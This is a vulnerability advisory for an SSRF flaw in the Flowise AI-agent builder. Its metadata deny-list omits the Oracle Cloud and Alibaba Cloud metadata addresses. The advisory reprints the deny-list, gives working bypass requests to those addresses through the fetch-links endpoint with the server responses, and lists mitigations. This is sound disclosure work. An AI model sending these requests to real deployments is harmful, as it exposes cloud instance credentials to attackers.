CVE-2026-67620 — Flowise SSRF via incomplete cloud-metadata deny-list (Oracle OCI + Alibaba Cloud)

Product: FlowiseAI/Flowise — visual LLM / AI-agent builder (~54k ★) Affected versions: ≤ 3.1.4 — confirmed still vulnerable in 3.1.4, the latest release (re-verified 2026-08-06) Vulnerability: Server-Side Request Forgery via an incomplete deny-list CWE: CWE-918 (SSRF) · CWE-184 (Incomplete List of Disallowed Inputs) Severity: Medium — CVSS 3.1 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) Discovered: 2026-07-10 · Reported to VulnCheck (CVD): 2026-07-15 Researcher: Bobur Abdugafforov (Mahadsec)

Vendor status — no patch will be issued. The Flowise project has been officially sunset and is no longer accepting security vulnerability reports. This advisory is published so that operators still running Flowise can mitigate the issue themselves.

Summary

Flowise ships an SSRF guard that blocks requests to cloud instance-metadata services. The deny-list covers the 169.254.0.0/16 link-local range used by AWS, GCP, Azure and DigitalOcean — but omits two metadata addresses that are not in that range:

Still present in 3.1.4 (latest release) — verified 2026-08-06

The complete DEFAULT_DENY_LIST shipped in the official flowiseai/flowise:3.1.4 Docker image (.../flowise-components/dist/src/httpSecurity.js) is:

'0.0.0.0', '10.0.0.0/8', '127.0.0.0/8', '169.254.0.0/16', '169.254.169.253',
'169.254.169.254', '172.16.0.0/12', '192.168.0.0/16', '224.0.0.0/4', '240.0.0.0/4',
'255.255.255.255/32', '::1', 'fc00::/7', 'fd00:ec2::254', 'fe80::/10', 'ff00::/8',
'localhost', 'ip6-localhost'

18 entries. Neither 192.0.0.192 nor 100.100.100.200 appears, and neither falls inside any listed CIDR — note 192.168.0.0/16 does not cover 192.0.0.192, and there is no 100.64.0.0/10 (CGNAT) entry at all.

The list is byte-identical between 3.1.2 and 3.1.4. The only change to httpSecurity.ts across those releases is IPv4-mapped IPv6 normalisation inside isDeniedIP(), which cannot affect two plain IPv4 addresses.

Neither omitted address falls inside a conventional private or link-local CIDR: 192.0.0.192 is inside the IETF Protocol Assignments block 192.0.0.0/24 and looks globally routable, while 100.100.100.200 sits in the CGNAT range 100.64.0.0/10, which the deny-list also does not cover. A guard built by enumerating "the metadata IP" and the link-local range therefore misses both.

An authenticated user can force the Flowise server to issue arbitrary GET requests to these addresses. On an OCI or Alibaba Cloud deployment this reaches the instance metadata service, which serves instance identity and credential material.

Affected code

packages/components/src/httpSecurity.ts — DEFAULT_DENY_LIST (compiled: httpSecurity.js:31-50)

The list contains 169.254.169.254 and the 169.254.0.0/16 range, but does not contain 192.0.0.192, 100.100.100.200, or the 100.64.0.0/10 CGNAT range.

Request flow: GET /api/v1/fetch-links → checkDenyList(url) → secureFetch() via webCrawl. secureFetch correctly re-validates redirect targets, so redirect-based bypasses are handled — the defect is the contents of the list, which means a redirect to either omitted IP passes validation just as a direct request does.

The fetch-links route carries no checkPermission middleware, so any authenticated session reaches it regardless of role.

Affected endpoint

GET /api/v1/fetch-links?url=<target>&relativeLinksMethod=webCrawl&limit=1

Every node routing through secureFetch / secureAxiosRequest with a user-supplied URL is affected by the same deny-list — for example the web-scraper and HTTP-request nodes.

Note on reachability: the issue is additionally reachable unauthenticated through the public POST /api/v1/prediction/:id endpoint whenever a URL-fetching node is present in a chatflow that has been made public.

Reproduction

Confirmed dynamically against a live local Flowise 3.1.2 instance, with listeners bound to 192.0.0.192:80 and 100.100.100.200:80.

Control — AWS/GCP/Azure metadata IP is correctly blocked:

GET /api/v1/fetch-links?url=http://169.254.169.254/latest/meta-data/&relativeLinksMethod=webCrawl&limit=1

HTTP/1.1 500
isDeniedIP: Error: Access to this host is denied by policy.

Bypass 1 — Oracle Cloud metadata:

GET /api/v1/fetch-links?url=http://192.0.0.192/opc/v1/instance/&relativeLinksMethod=webCrawl&limit=1

HTTP/1.1 200
{"status":"OK","links":["http://192.0.0.192/opc/v1/instance"]}

Bypass 2 — Alibaba Cloud metadata:

GET /api/v1/fetch-links?url=http://100.100.100.200/&relativeLinksMethod=webCrawl&limit=1

HTTP/1.1 200

Server-side requests observed on the listeners (proving the fetch originated from the Flowise server, not the client):

# OCI listener
192.0.0.192 - - [11/Jul/2026 04:34:35] "GET /opc/v1/instance/ HTTP/1.1" 404 -
192.0.0.192 - - [11/Jul/2026 04:34:54] "GET /opc/v1/instance HTTP/1.1" 404 -

# Alibaba listener
100.100.100.200 - - [11/Jul/2026 04:34:35] "GET / HTTP/1.1" 200 -
100.100.100.200 - - [11/Jul/2026 04:34:54] "GET / HTTP/1.1" 200 -

A PoC script is included as poc.py.

Impact

Any authenticated Flowise user — and, where a URL-fetching node sits in a public chatflow, any unauthenticated visitor — can make the server issue GET requests to the Oracle Cloud and Alibaba Cloud instance-metadata services, which the product explicitly attempts to prevent for other providers.

On an affected deployment this exposes instance identity data and the metadata endpoints that serve instance-role credentials, from which further access to the victim's cloud account follows. More broadly, the same gap allows requests into the 100.64.0.0/10 CGNAT range, which is routable inside many provider networks.

The severity reflects that exploitation requires the Flowise instance to be hosted on OCI or Alibaba Cloud. The defect itself — an incomplete deny-list — is provider-independent.

Mitigation

No vendor patch will be issued; the project is sunset. Operators should:

1. Switch from a deny-list to an allow-list. Permit only the specific external hosts a deployment needs. This is the only approach that is not defeated by the next provider-specific metadata address.
2. Block the omitted ranges at the network layer — egress rules denying 192.0.0.0/24 and 100.64.0.0/10 from the Flowise host — since the application cannot be fixed.
3. Audit public chatflows for URL-fetching nodes (web-scraper, HTTP request), which expose this without authentication.
4. Enforce IMDSv2 (or the provider equivalent requiring a PUT-obtained token) so a plain SSRF GET cannot retrieve credentials.
5. Migrate off Flowise, given that it no longer receives security maintenance.

If patching a local fork, add to DEFAULT_DENY_LIST in packages/components/src/httpSecurity.ts: 192.0.0.192, 100.100.100.200, and the ranges 192.0.0.0/24 and 100.64.0.0/10.

Timeline

Credit

Bobur Abdugafforov — Mahadsec

License

This advisory and PoC are released for defensive and educational use. Test only systems you own or are authorised to test.